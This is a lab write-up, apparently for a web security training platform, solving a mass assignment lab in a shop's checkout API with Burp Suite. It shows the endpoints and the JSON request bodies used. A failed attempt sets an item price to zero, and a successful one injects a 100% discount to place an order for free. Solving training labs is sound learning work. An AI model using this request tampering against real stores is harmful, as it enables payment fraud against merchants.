Lab: Exploiting a mass assignment vulnerability
Pre
- open burp suite
- open lab url in burp proxy browser
- login as
wienerusing credentialwiener:peter
Observe
Find api related endpoint
- do checkout flow from add to
"Chart"to"Place Order" - read
HTTP Historyin burp proxy and we found some endpoints:GET /api/checkout HTTP/2: when open"Cart Page"POST /api/checkout HTTP/2: when click"Place Order"{host}/api/: api documentation page
Possibility mass assignment in product price
- response api
GET /api/checkoutcontain some interesting field:
{
"chosen_discount":{
"percentage":0 // LEGIT
},
"chosen_products":[
{
"product_id":"1",
"name":"Lightweight \"l33t\" Leather Jacket",
"quantity":1,
"item_price":133700 // LEGIT
}
]
}- field
chosen_products.item_pricelooks legit, we might to set theitem_priceto0when checkout - send endpoint
POST /api/checkoutto burp repeater, and change request body to:
{
"chosen_products":[
{
"product_id":"1",
"quantity":1,
"item_price":0 // we add this field and set value to 0, to check possibility change item price
}
]
}- send request, but we still got response
INSUFFICIENT_FUNDS, looks like it didn’t work
HTTP/2 201 Created
Location: /cart?err=INSUFFICIENT_FUNDS
X-Frame-Options: SAMEORIGIN
Content-Length: 0
- we need to explore other parameter possibility
Solution
- since parameter
chosen_products.item_pricedidn’t work, we try to explore other legit parameter. - we found other legit parameter named
chosen_discount.percentage, looks like it used to set discount when checkout, and parameterchosen_discount_percentageare represent percent in integer value. - send endpoint
POST /api/checkoutto burp repeater again, and change request body to:
{
"chosen_discount":{
"percentage":100 // for set discount 100%
},
"chosen_products":[
{
"product_id":"1",
"quantity":1
}
]
}- we set
chosen_discount.percentageto100, since our store credit are$0we want to"Place Order"with discount100%no need to paid. - click send and we got response success
HTTP/2 201 Created
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0
lab solved